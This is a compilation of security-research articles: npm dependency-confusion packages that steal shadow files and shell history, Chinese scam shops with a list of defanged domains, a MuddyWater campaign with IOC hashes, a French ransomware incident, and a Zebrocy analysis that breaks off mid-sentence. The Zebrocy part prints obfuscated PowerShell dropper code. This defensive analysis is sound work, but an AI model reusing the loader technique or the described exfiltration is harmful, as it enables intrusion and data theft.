bounty program. For example, this would typically involve the researcher making a DNS request from the successfully breached machine to their own server, and collecting information such as the computer’s hostname and IP address. The new packages discovered by Sonatype, however, go a step further. Many of these have no disclaimers or code comments in place indicating these are linked to any kind of ethical bug bounty program or created for security research purposes. While having such a disclaimer in place is no guarantee that a package’s author is working in good faith, lack thereof can surely raise alarm bells, especially when combined with malicious code. As soon as these packages are installed automatically because they share a name with an internal dependency (thereby exploiting “dependency confusion”), they exfiltrate the user’s `.bash_history` file and `/etc/shadow`, and in some cases spawn a reverse shell. For example, let’s take a look at the `amzn` package. The npm webpage for `amzn` has no indication or disclaimer that it could be linked to an ethical research effort, neither does the code inside. The package has two identical versions (1.0.0 and 2.0.0), each of which contain just two files: a manifest, `package.json`, and the functional `run.js` file. Of note here is the fact that the “author” listed within the `package.json` is “zappos,” even though the package has been published by a pseudonymous author osama775 on npm. Zappos is an Amazon subsidiary and naturally has systems that interact with Amazon’s services. Amazon’s GitHub repository and some of its packages use the shorthand “amzn” notation, making it not too hard to see why an adversary would want to squat the “amzn” name on an open-source repository like npm. Inside `run.js` is where we see the contents of the `/etc/shadow` file being accessed (on line 7) and ultimately exfiltrated to the package’s author to the domain comevil[.]fun. The code above also has the author opening a reverse shell to their server, which would spawn as soon as the `amzn` package infiltrates the vulnerable build. The `/etc/shadow` file is a successor to the `/etc/passwd` Linux file that maintains hashed password data of user accounts on a system. Although the file is typically restricted to “super user” accounts, there remains a slight chance of a malicious actor being able to obtain the file should the infected machine be running npm with elevated privileges. The package `zg-rentals`, also posted by the author osama775, is identical in structure and functionality. The term “zg-rentals” is associated with the real estate company Zillow Group. Packages with names including the “zg-rentals” keyword were previously used by Alex Birsan as well. Sonatype security researcher Juan Aguirre, who spent time analyzing more identical copycat packages that engage in exfiltrating the user’s `/etc/shadow`, said: “I was starting to wonder when we were going to see a malicious actor take advantage of the current situation. Finally, we've spotted one. There is no scenario I can imagine where I'm going to submit a PoC for a bug bounty program that actually harms the organization. Taking their `/etc/shadow` file is definitely harmful.” ## Can I sneak peek at your .bash_history? Another set of packages identified by Sonatype exfiltrate the user’s `.bash_history` file, along with fingerprinting information such as IP address, hostname, and current directory. The `.bash_history` file contains a list of commands previously executed by a Unix-based OS user at the terminal. Unless periodically cleared, this file can contain the usernames, passwords, and other sensitive bits of data that nobody other than the user themselves should have access to. As an example, the malicious `serverless-slack-app` package published today is named after a legitimate package made by an Atlassian developer. It has both preinstall and postinstall scripts launched by the manifest file. While the `index.js` script spun up at the preinstall stage is an identical replica of that in Birsan’s PoC research packages, the postinstall script is particularly interesting. At the postinstall stage, another script hosted on GitHub is run that sends the user’s `.bash_history` file to the author behind `serverless-slack-app`. These activities would take place as soon as a dependency confusion attack succeeds and would need no action from the victim, given the nature of the dependency/namespace hijacking issue. Again, the npm webpage for `serverless-slack-app` has no clear-cut sign that this package is linked to an ethical research or a bug bounty program. Although few packages published by its author do have “security research purposes only” disclaimers, the pattern does not seem consistent. Likewise, the `lyft-dataset-sdk` dependency by the same author shares a name with a Python-based package used by Lyft. Perhaps, the author is taking a guess here that an internal npm dependency by the same name exists too. “It’s interesting to look at all the malicious npm copycat packages released recently. You can see their evolution. They start out with pretty much the same code base as the PoC released by researcher Alex Birsan and they gradually start getting creative. These packages stood out because they reflect the behavior of actual malware, a first stage payload to grab a binary which further grabs your bash history,” says Aguirre. ## More dependency hijacking packages to surface, what to do? The list of four malicious packages above is not exhaustive. In the week following the original report of Alex Birsan’s supply chain attack that infiltrated over 35 tech firms including Microsoft, Apple, and Netflix, we saw a 7000% increase in dependency confusion copycats published to npm. Given the daily volume of suspicious npm packages being picked up by Sonatype’s automated malware detection systems, we only expect this trend to increase, with adversaries abusing dependency confusion to conduct even more sinister activities. Fortunately, based on the visibility Sonatype has, none of our customers have been detected running these malicious copycats. Sonatype’s customers with the Advance Development Pack benefit from the additional protection offered by our automated malware detection systems and world-class security research data. Furthermore, Nexus Firewall instances will automatically quarantine any suspicious components detected by our automated malware detection systems while a manual review by a researcher is in the works, thereby keeping your software supply chain protected from the start. Users of Nexus Repository Manager can additionally download Sonatype’s “dependency/namespace confusion checker” script from GitHub to check if they have artifacts with the same name between repositories and to determine if they have been impacted by a dependency confusion attack in the past. Sonatype’s 2020 State of the Software Supply Chain states that next-generation upstream software supply chain attacks are far more sinister because bad actors are no longer waiting for public vulnerability disclosures. Instead, they are taking the initiative to contribute code to open source projects and then—unbeknownst to the other OSS project maintainers—injecting malicious code. Those code changes then make their way into open source projects that feed the software supply chains of developers around the world. This is happening at a rapidly increased rate. In fact, there was a 430% increase in upstream software supply chain attacks over the past year. Keeping this in mind, it is virtually impossible to manually chase and keep track of such components. Sonatype’s world-class security research data, combined with our automated malware detection technology, safeguards your developers, customers, and software supply chain from infections. **Tags:** vulnerabilities, featured, Nexus Intelligence Insights **Written by Ax Sharma** Ax is a Security Researcher at Sonatype and Engineer who holds a passion for perpetual learning. His works and expert analyses have frequently been featured by leading media outlets. Ax's expertise lies in security vulnerability research, reverse engineering, and software development. In his spare time, he loves exploiting vulnerabilities ethically and educating a wide range of audiences.
# Chinese Scam Shops Lure Black Friday Shoppers **Key Findings** Since the COVID-19 pandemic began, fraudsters have looked for ways to turn the tragedy to their advantage through e-commerce scams, SBA loan and stimulus fraud, and COVID-19 related malware. Now, with Black Friday around the corner, scam shops are looking to cash in on alluring discounts targeting online shoppers. E-commerce scam shops operate as follows: the fraudsters create an online shop to advertise and sell their goods, collect customers’ payment card data and personally identifiable information (PII) as they unknowingly purchase faulty, counterfeit, or nonexistent products, and then sell that customer data on dark web marketplaces. US and European banks have experienced a spike in e-commerce fraud linked to China-based sites registered to the Chinese Registrar ename[.]net. Almost 200 of the nearly 600 scam sites identified by Gemini were linked to the Chinese acquiring bank Jilin Jiutai Rural Commercial Bank Co., Ltd. Gemini Advisory has identified one group of China-based e-commerce fraudsters contributing to this spike that operates hundreds of scam sites and has exposed tens of thousands of US and international payment card records and individuals’ PII over the past six months. The full list is available upon request. ## Background Since the COVID-19 pandemic began, fraudsters have looked for ways to turn the tragedy to their advantage through e-commerce scams, SBA loan and stimulus fraud, and COVID-19 related malware. E-commerce fraudsters selling fake medical products, for example, appeared almost immediately after the pandemic began while hackers circulated interactive COVID-19 tracking maps infected with malware. As the pandemic progressed, cybercriminals exploited the US government’s efforts to help struggling businesses and citizens by fraudulently procuring SBA loans and stimulus checks. Likewise, e-commerce fraudsters, recognizing the profits gained from selling fake medical products, leveraged the public’s reduced willingness to shop at brick-and-mortar stores to expand into the sale of popular retail merchandise, such as clothing, shoes, handbags, kitchenware, toys, and recreational goods. More recently, Gemini learned that both US and European banks were experiencing a spike in e-commerce fraud linked to China-based sites registered to the Chinese Registrar ename[.]net. Based on the common link and an analysis of the sites’ past activity, Gemini analysts assess with moderate confidence that these China-based domains were not infected through Magecart attacks, but were actually malicious sites themselves that stole payment card data from unwitting shoppers and then sold that data across various dark web marketplaces. Now, with major stores already signaling they will be closed on Black Friday, these scam shops appear poised to take advantage of millions of shoppers expecting bargains but forced to turn to online shopping. Many of the scam shops pay for ads on Google and Facebook that aim to catch shoppers’ eyes with claims of wild discounts and everything must go, going-out-of-business sales. Though online shoppers may be wary of deals that appear too-good-to-be-true under normal circumstances, Black Friday gives scam shops the chance to push advertising into overdrive and target online shoppers while their guard is down. ## How Large-Scale e-Commerce Scam Shops Operate Gemini Advisory has identified one group of China-based e-commerce fraudsters contributing to the spike identified by US and European banks. The group operates hundreds of scam sites and has exposed tens of thousands of US and international payment card records and individuals’ personally identifiable information (PII) over the past six months. A list of 50 of these sites can be found in Appendix A, while the full list of these nearly 600 sites is available upon request. The tactics, techniques, and procedures (TTPs) of the group reveal how similar groups operate and provide insights into how they can be identified. The underlying premise of these e-commerce scams is simple: the fraudsters create an online shop to advertise and sell their goods, steal customers’ payment card data and PII, and then sell the data on dark web marketplaces. As a result, e-commerce scams have garnered particular interest from fraudsters as they allow them to earn a double profit: first from selling counterfeit, faulty, or nonexistent products to customers, and second from selling stolen payment card data and PII to cybercriminals. In the context of the criminal group identified by Gemini, analysts determined the group likely recorded profits upwards of $500,000 in the past six months just from the sale of the stolen payment card data and PII on the dark web. However, the total criminal profits are likely significantly larger based on their illicit sale of faulty, counterfeit, or nonexistent goods. The China-based e-commerce fraud groups, including the group identified by Gemini, follow the same pattern except they operate on a large scale with hundreds of sites. Once they have their sites up and running, some of these groups work to expand their sites’ exposure by building a parallel presence on Facebook. ## Network of Scam Sites E-commerce fraud groups attempt to ensnare as many victims as possible by creating a large number of scam sites offering different products for specific customers. Each site is typically linked to a unique merchant name and merchant identification number (MID) to further obscure the link between them. Registering a new MID, however, is a complex process that requires either a direct partnership with an acquiring bank or a relationship with a third-party merchant company that works with a dedicated acquiring bank. Both of these organizations are responsible for processing credit or debit card payments on behalf of the merchant. Gemini determined that nearly 200 of the scam sites from the identified group were linked to the Chinese acquiring bank Jilin Jiutai Rural Commercial Bank Co., Ltd. It is unclear, however, whether these sites’ relationship with the bank was direct or managed through a third-party merchant company. For the average customer, there is no visible link between the different sites within the network as each appears to be a distinct, legitimate shop. The sites use Google Ads and social media advertisement campaigns to attract customers with offers for products at a discount below market deals. The sites’ advertisements almost always indicate that the deals are part of a limited-time sale to pressure potential customers into making a purchase. Gemini witnessed other, unrelated scam sites claim they are going out of business due to the COVID-19 pandemic and thus offering products at a steep discount to negate customers’ suspicion that the deals may be too good to be true. Gemini analysts suspect that e-commerce fraud groups are moving away from the more popular and more secure e-commerce platform Shopify and towards OpenCart because OpenCart is open source. This move allows fraudsters to avoid Shopify’s documented practice of monitoring for fraud and remediating fraudulent transactions. The group identified by Gemini, for example, used OpenCart as its e-commerce platform and relied on Cloudflare to hide its IP addresses for all of its sites. This cookie-cutter approach was likely taken to facilitate the rapid deployment of a large number of scam sites. The identified group also resorted to recycling nearly identical text for the About Us sections across the hundreds of sites while using the same seven templates with slight variations in how they presented menus, navigation links, and other information. ## Multi-Platform Presence Like any good business, e-commerce fraudsters know that the key to success is strong marketing. To this end, groups look to build a presence across multiple platforms to build their sites’ exposure and attract more customers. The group identified by Gemini, for example, has been recently making forays onto Facebook by launching pages that advertise products and include a link to the corresponding scam site. In keeping with the practice of recycling content, the scam sites and corresponding Facebook pages contained identical About Us sections. Of note, Gemini analysts observed a lag time between when the scam sites were launched and the creation of each site’s corresponding Facebook page, which may indicate that this is a new tactic being deployed by the identified group. ## Sale of Customer Payment Card Data and PII Beyond often selling counterfeit, low-quality, or nonexistent products, e-commerce scammers steal the card payment data and PII of customers and then sell this data on the dark web marketplaces. The group identified by Gemini, for example, stole customers’ payment card data, cardholder and billing information, and additional PII, such as the phone number. Cybercriminals purchase this type of payment card data to perform a range of fraudulent activities and could potentially combine the information with the full phone number to conduct tailored phishing attacks. It is also important to note that these e-commerce scam sites are distinct from sites infected by Magecart attacks, a rising category of e-commerce fraud previously reported on by Gemini. For e-commerce scam sites, the fraudster has created the site and then intentionally injected a malicious script into that site; the script skims customers’ payment card data and PII. For Magecart attacks, a cybercriminal injects malicious script into an external e-commerce site without the owner of the site being aware. ## Conclusion As the COVID-19 pandemic has driven more customers to purchase products online and governments to implement stimulus programs, fraudsters have capitalized on the opportunity by ramping up and complexifying their forms of fraud. Now, with Black Friday, holiday shopping, and a tight economy added to the mix, scam shops are eyeing a unique opportunity to concentrate advertising toward a large demographic of shoppers in search of discounts but less accustomed to the dangers of online shopping. More broadly, the spike in fraud linked to China-based sites witnessed by US and European banks and identified by Gemini represents one only instance of cybercriminals adapting operations to the unusual, changing circumstances driven by the pandemic. Gemini analysts, for example, are already witnessing cybercriminals increase their interest in travel services fraud as governments begin to roll back travel restrictions. Ultimately though, due to the scale and evolving nature of the e-commerce scam sites, Gemini analysts assess with a high degree of confidence that the criminal group behind the sites will likely continue to steal and sell payment card data and PII on dark web marketplaces. ## Appendix A **List of 50 scam domains identified by Gemini Advisory. The full list of nearly 600 domains is available upon request.** - dzxybmq[.]com - pkpauyg[.]com - xpqszyi[.]com - bxwzhs[.]club - okayep[.]com - ejgvriw[.]com - pviqyhh[.]com - xudnall[.]com - fazdht[.]shop - timeswake[.]com - ezmbzps[.]com - qkpxekr[.]com - zmcpqki[.]com - gzxdhk[.]club - topshipy[.]com - gdqzykg[.]com - rkaszfs[.]com - easybue[.]com - hiugou[.]club - morewanter[.]com - lqcjidt[.]com - rvsdhca[.]com - homeuclub[.]com - jwfang[.]club - asmater[.]com - lvvxfqb[.]com - rxaznbf[.]com - nbhjo[.]com - hnhggc[.]shop - costhelpercom[.]com - nkvbgwr[.]com - sptizar[.]com - prfetv[.]com - nicequity[.]com - dayscomp[.]com - ntpdcnl[.]com - tlxvjxc[.]com - yxxkan[.]com - inpopcolor[.]com - geospreader[.]com - osjqowb[.]com - wdeatuz[.]com - hawjwl[.]shop - intopopular[.]com - healshopping[.]com - pcrrowr[.]com - wlxmxch[.]com - apidh[.]shop - inlute[.]com - keepfunning[.]com **Gemini Advisory Mission Statement** Gemini Advisory provides actionable fraud intelligence to the largest financial organizations in an effort to mitigate ever-growing cyber risks. Our proprietary software utilizes asymmetrical solutions in order to help identify and isolate assets targeted by fraudsters and online criminals in real-time.
# Potential MuddyWater Campaign Seen in the Middle East We discovered a new campaign targeting organizations in Turkey, Pakistan, and Tajikistan that has some similarities with an earlier campaign named MuddyWater, which hit various industries in several countries, primarily in the Middle East and Central Asia. Third-party security researchers named the MuddyWater campaign as such because of the difficulties in attributing the attacks. However, given the nature of the targets, as well as the gathering and uploading of information to C&C servers, it appears that the attackers are mainly concerned with espionage activities — with Saudi Arabia’s National Cyber Security Center (NCSC) publishing an alert on their website regarding the attacks. Given the number of similarities, we can assume that there is a connection between these new attacks and the MuddyWater campaign. It also signifies that the attackers are not merely interested in a one-off campaign but will likely continue to perform cyberespionage activities against the targeted countries and industries. ## Comparing the earlier MuddyWater campaign with this new one reveals some distinct similarities: | 2017 MuddyWater Campaign | 2018 “MuddyWater” Campaign | |--------------------------|-----------------------------| | **Targeted Organizations** | Pakistan, Saudi Arabia, United Arab Emirates, and the USA | Turkey, Pakistan, Tajikistan | | **Decoy Documents** | The documents try to mimic government organizations, including the Iraqi National Intelligence Service, the National Security Agency, and the Ministry of Interior of Saudi Arabia | The documents try to mimic government organizations such as the Ministry of Internal Affairs of the Republic of Tajikistan. Some documents also come with government emblems. | | **Dropped Files** | Visual Basic file and PowerShell file; the VBS file executes the PS file | | | **Proxies** | Hundreds of hacked websites are used as proxies. | | In addition to the common characteristics seen above, the campaigns also use similar obfuscation processes, as are the internal variables after deobfuscation. A list of `isDebugEnv` is also present in both campaigns. ## Infection Chain Our research found malicious delivery documents (Detected by Trend Micro as JS_VALYRIA.DOCT and W2KM_VALYRIA.DOCT) containing text and file names in the Tajik language attempting to target individuals working for government organizations and telecommunication companies in Tajikistan. Each document uses social engineering to trick potential victims into clicking it to enable the macros and activate the payload. While some of the payloads we observed were embedded inside the document itself, some of the payloads were also downloaded from the internet after the lure was clicked. There is a separate lure with a program key generator written in Java that was bundled with a Java downloader. However, the actual payload is the same. Some examples of the lure documents used in the campaign can be seen below: After enabling the macros and the payload executes, two files – an obfuscated Visual Basic script (Detected by Trend Micro as VBS_VALYRIA.DOCT) and an obfuscated PowerShell script (Detected by Trend Micro as TROJ_VALYRIA.PS) — are created in the ProgramData directory placed in randomly-named directories. The purpose of the .VBS script is to execute the PowerShell script. The path to the VBS script is added to the task scheduler as a form of persistence. In other campaigns, two files are also dropped. One of them is the VBS script; however, the second file is a base64 encoded text file, which, after decoding, results in the PowerShell file, as in the previous campaign. This is one simple layer of obfuscation, likely to avoid some antivirus detections. The latest change drops three files – an .sct scriptlet file, an .inf file, and a base64 encoded data file. The scriptlet file and inf file use publicly available code for bypassing applocker. Code examples are also available on GitHub. The PowerShell script, which employs several layers of obfuscation, is divided into three parts. Part one contains global variables like paths, encryption keys, and a list of a few hundred gates or hacked websites which serve as proxies. The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys. The third part contains the backdoor function. This function will first collect machine information and take screenshots before it sends this data to a command-and-control (C&C) server while waiting for commands. These include the following actions: clean, reboot, shutdown, screenshot, and upload. The clean command attempts to recursively delete all the items from drives C, D, E, and F. ## C&C Communication The communication is done via XML messages with the following supported ACTION commands: - REGISTER - IMAGE - COMMAND RESULT - UPLOAD The backdoor first finds out the machine IP address by querying the internet service api.ipify.org, which returns the IP address of the currently infected machine. This IP address is then fed to another internet service called apinotes.com, which returns the location information of the given IP address. The backdoor then collects the system information about the infected machine such as the Operating System name, architecture, domain, network adapter configuration, and username. It then separates each piece of information with **, and sends this system info as part of the REGISTER message. A simple RSA algorithm with very small keys encrypts the message seen above. The message above gets encrypted and its contents are sent via post request to one of many hacked gates. The response to this message is another set of decimal numbers which can be decrypted by the public key, which is stored in the `${pUbLIC}` variable in part 1 of the PowerShell script. The message above can be decrypted to: ```json {"STATUS": "OK", "TOKEN": "d02153ffaf8137b1fa3bb852a27a12f8"} ``` The XML message containing the screenshot can be seen below. Note that the previously obtained SYSID that serves as a machine identifier, ACTION: “IMAGE” tells us that a base64 encoded image will be followed in the IMAGE field. It seems that the attackers are actively monitoring the incoming connections to the C&C. In one of our attempts, we sent an improper request to the C&C server, which replied with the following message: “Stop!!! I Kill You Researcher.” This level of personalized messaging implies that the attackers are monitoring what data is going to and from their C&C server. ## Another hidden message or a false flag? For the PowerShell script, the first part contains a variable named `dragon_middle`, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C. If communication with C&C fails, and if the PowerShell script is run from a command line, a few error messages written in simplified Mandarin Chinese are displayed, with a curious phrase that translates to "waiting for dragon": - 无法访问本地计算机寄存器 (Unable to access local computer register) - 任务计划程序访问被拒绝 (Mission Scheduler access is denied) - 无法连接到网址,请等待龙 (Cannot connect to URL, please wait for dragon) - 无法连接到网址,请等待龙 (Cannot connect to website, please wait for dragon) These messages may not reveal anything about the real attackers as the malware writers sometimes like to embed false flags into their programs to confuse researchers. The syntax and grammar suggest that the language could have been machine-translated rather than written by a native speaker. ## Countermeasures and Trend Micro Solutions Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one – thus the need for education on identifying and mitigating phishing attacks – especially if it involves organizations in sensitive industries such as government and manufacturing. Context, in this case, is important. Users need to consider why they received an email and avoid clicking on any links or attachments in general until they are certain that they are legitimate. Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update. Malware such as the one analyzed in this entry also use email as an entry point, which is why it's important to secure the email gateway. Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. Trend Micro™ Deep Discovery™ Inspector and InterScan™ Web Security prevent malware from ever reaching end users. At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks. These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints. It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads. ## Indicators of Compromise (IOCs) **Hashes detected as W2KM_VALYRIA.DOCT:** - 009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0 - 153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58 - 18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6 - 18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd - 1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942 - 2727bf97d7e2a5e7e5e41ccbfd7237c59023d70914834400da1d762d96424fde - 2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13 - 3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115 - 3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c - 3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb - 6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac - 76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338 - 9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c - 93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84 - a70aca719b06fc8ef0cd0b0e010c7bc8dc6d632e4f2f874e4c0e553bd8db2df2 - aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627 - af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102 - cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88 - d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025 - dfbd67177af9d35188fc9ff9363c2b9017e9ccfe6719e3d641a56fb5dc0d47f7 - eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894 - fbbda9d8d9bcaaf9a7af84d08af3f5140f5f75778461e48253dc761cc9dc027c **Hash detected as VBS_VALYRIA.DOCT:** - 0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E - 0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E - 25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613 - 3607432758176a2c41a1971b3c4d14a992a68b231851f8b81c6e816ea9ea29b2 - 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70 - 6228d79f56c574ceada16453404c54dd95641aa78d3faed6874daf485116793b - 66af894eee6daae66bf0bcb87cb7abe2a0ebb6a59779f652db571e7ee298d751 - 92C7FEAD5EE0F0ECD35FE247DBE85648AADA4B96F1E960B527B4929E42D47B01 - c006911be5480f09e0d8560c167561f68681607ca8f7e3c4f5d476dc6673594f - F05C18C1D4428349137A9DF60CDEBE8A0F9E6DA47B359DC0616FF8D47E46704E **Hash detected as TROJ_VALYRIA.PS:** - 0065d592d739ac1dd04d0335151c8855c7fafbf03e86134510ac2fc6766e8d60 - 0073ce0f4c82fc4d0470868e124aab9ad08852e1712564136186e5019fca0da0 - 02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102 - 04d61b1d2c3187280b3c4e93d064a051e9ee0f515f74c6c1c44ba577a7a1c804 - 55ae821cf112ff8d6185ce021f777f73d85150c62a835bb1c02fe9e7b3f863bf - 61d846708f50024e1c65237eb7158beac9b9c5840853b03ef7c73fe5293a9a8d **Hash detected as JS_VALYRIA.DOCT:** - 070EBCAC92FB7619F957BF3F362099574158E5D2D0BC0CF9206A31BA55EDD48F **Scriptlets and inf files related to applocker bypass:** - 2791fdc54ee037589f951c718935397e43d5f3d5f8e078e8b1e81165a3aebbaf - 288afbe21d69e79a1cff44e2db7f491af10381bcc54436a8f900bcbd2a752a6f - 5e173fbdcd672dade12a87eff0baf79ec4e80533e2b5f6cf1fac19ad847acba0
# Retour d’expérience suite à une attaque par rançongiciel contre une structure de santé Une structure de santé française a récemment été victime d’une attaque utilisant le rançongiciel Ncov. Les conséquences de cette attaque furent minimes car l’activité malveillante a rapidement été détectée et stoppée. Les fichiers chiffrés ont pu être restaurés, les sauvegardes n’ayant pas été impactées. Le rançongiciel Ncov est une variante de Dharma, un ransomware présent depuis 2016. Il est nommé Ncov à cause de l'extension de fichier ajoutée lors du chiffrement de données. L’attaquant a accédé au réseau de la structure par RDP avec le compte ILS_ANONYMOUS_USER, un compte générique utilisé par le service ILS (Internet Locator Server) qui était autrefois utilisé pour Microsoft NetMeeting (dernière MàJ en 2007). Le chiffrement des données a eu lieu suite au dépôt d’exécutables dans le profil utilisateur. La structure a pris plusieurs mesures correctives pour prévenir le risque d’une nouvelle attaque : - Blocage du compte ILS_ANONYMOUS_USER ; - Revue et restriction des accès aux serveurs RDP exposés sur Internet ; - Mise en place d’une passerelle d’accès RDS limitant le nombre de serveurs visibles ; - Revue et restriction des accès aux partages réseau ; - Achat et distribution de PC portables pour tous les télétravailleurs avec accès sécurisé en VPN. Pour plus de conseils concernant la sécurisation d’un réseau, nous vous suggérons de vous reporter aux guides de l’ANSSI tel que le guide d’hygiène informatique, le guide de sécurité de RDP ou la fiche sur la sécurisation de son exposition sur Internet.
# Sofacy Creates New ‘Go’ Variant of Zebrocy Tool The Sofacy threat group continues to carry out attacks using their Zebrocy tool. We first wrote about the Zebrocy tool in a blog that discussed Sofacy’s parallel attack campaigns during the first quarter of 2018, and more recently during Sofacy attacks in late October and early November. The developers of Zebrocy have once again created a new version of the Trojan using a different programming language, specifically the Go language. The use of a different programming language to create a functionally similar Trojan is not new to this group, as past Zebrocy variants have been developed in AutoIt, Delphi, VB.NET, C#, and Visual C++. While we cannot be certain of the impetus for this, we believe the threat group uses multiple languages to create their Trojans to make them differ structurally and visually to make detection more difficult. We have seen two separate attacks deliver the Go variant of Zebrocy. The first attack occurred on October 11 and relied on a spear-phishing email with an LNK shortcut attachment. The LNK shortcut is meant to run a series of PowerShell scripts to extract a payload from the shortcut to install and execute; however, the PowerShell scripts were coded incorrectly and could not install or run the payload as delivered. Therefore, the first observed attack mentioned in this blog could not be successful, but the tactics, techniques, and indicators are worth discussing for situational awareness. More recently, we have seen Sofacy delivering the Go variant of Zebrocy using a document related to the Dear Joohn attack campaign that occurred in mid-October through mid-November. ## The First Attack The attack occurred on October 11, 2018, and involved a spear-phishing email (T1193) discussing the effects of US sanctions on the Russian economy. The “From” address and the signature included the name of an individual at the targeted organization. The “To” field in the delivery email was blank, which makes us believe that the targeted individuals were included in the “Bcc” field of this email. ### The Payload The delivery document Противодействие Думы Санкциям США.doc (SHA256:d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e) attempts to masquerade as a Word document; however, the file is a shortcut LNK. When opened (T1204), the LNK file attempts to run the following command line in a visible command prompt (T1059): ``` powershell.exe -nop -w 1 $i853=[TeXt.EnCoDING]::utF8.geTStrInG([conVErT]::frOmbaSE64stRing('JHAxLCRwMj0zNjU5LDY5MjQ3NjQ7JHBhdGhUb0xOSz0nQzUgcmVnaW ``` The shortcut uses PowerShell (T1086) to base64 decode (T1140) a second PowerShell script and executes it. The second PowerShell script decodes to the following: ``` $p1,$p2=3659,6924764;$pathToLNK='C5 regional conference and training workshop on community policing(1).docx.lnk';if(-nOT(TeSt-pAtH $p [iO.diRectoRY]::sETCUrrentDIrEctoRY($DirD.dIreCTORYNAMe);}$FileStreama=nEw-objECT io.fILeSTreAm $pathToLNK,'OpeN','ReAd','reaD [io.SeEKoRiGin]::BEGin);$FileStreama.rEAD($ArrayMas,0,$p2);$ArrayMas=[ConverT]::FrOmbasE64CHarArRAy($ArrayMas,0,$ArrayMas.Le ``` The PowerShell script above attempts to extract another PowerShell script directly from the LNK shortcut file, which it would then execute. For unknown reasons, the actor that created this LNK shortcut included the incorrect filename for the LNK file, specifically C5 regional conference and training workshop on community policing(1).docx.lnk instead of the delivery document Противодействие Думы Санкциям США.doc. The LNK shortcut filename does not match the filename delivered in the email, so this attack would never be successful as the PowerShell script above would be unable to obtain the payload to install on the system. The C5 regional conference and training workshop on community policing(1).docx.lnk filename included in this LNK file may be an artifact from a previous attack using the same delivery LNK and payload. Had the attackers included the correct filename to the LNK delivery in the script above, it would have located the PowerShell script in the LNK file by using a hardcoded offset of "3659", which it would have used to seek 3659 bytes into the LNK file. The script would then read a hardcoded number of bytes, specifically 6,924,764 bytes from this offset and executes it. The resulting PowerShell script obtained from within the LNK file has the following contents, of which we have trimmed some of the encoded data and replaced it with "[..snip..]" for brevity: ``` $6vlJwyyB = @('C5 regional conference and training workshop on community policing(1).exe','C5 regional conference and training workshop on community policing(1).docx');$TcCd3Fej = "C5 regional conference and training workshop on community policing(1).exe";$Aq3NkyDG = @("TVqQAAMA[..snip..]","UEsDBBQABgAIAA[..snip..]");$ggdDQhlx = "C5 regional conference and training workshop on community policing(1).docx";FOR($I=0;$I -lt $6vLjwYYb.LengTH;$i++){[BYtE[]]$YGktk0Nk = [cOnveRt]::frOmBaSE64StriNg($aq3nkYDg[$I]); [syStEm.IO.fILE]::WrItEaLlbYtES($EnV:pUbLIc+"\"+$6VLJwYYB[$I],$YGktK0nk);}$qsVmUm76 = $Env:public+"\"+$tCcd3Fej;$GGdDQhLxPatH = $env:publIC+"\"+$gGddQHLX;staRT-pROCess -wINDowstylE HIDdeN -FIlepAth $qsVMuM76;StART-ProceSs -FilepaTh $GgDdQHlxpATH; ``` This final PowerShell script is responsible for decoding an executable and Word document that it will write to the system in the %PUBLIC% folder with names C5 regional conference and training workshop on community policing(1).exe and C5 regional conference and training workshop on community policing(1).docx, respectively. The decoded content written to the Word document contains the decoy content seen in Figure 2 (SHA256:b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b), which in this specific case is an agenda for a conference that occurred between June 18 and 20, 2018, in Dushanbe, Tajikistan sponsored by Saferworld and the United States Institute of Peace. The decoded executable is the payload (SHA256: fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e) whose developer wrote in the Go Language, which appears to be a variant of the Zebrocy Trojan that we have previously analyzed. The use of another language to develop a similar Trojan in functionality to Zebrocy is fitting for this threat group, as we have previously seen this group create variants of Zebrocy in AutoIt, Delphi, and C++. The similarities between this payload and previous Zebrocy variants include general high-level capabilities as well as some more specific overlaps. Like other Zebrocy samples, this Zebrocy variant written in Go does initial collection on the compromised system 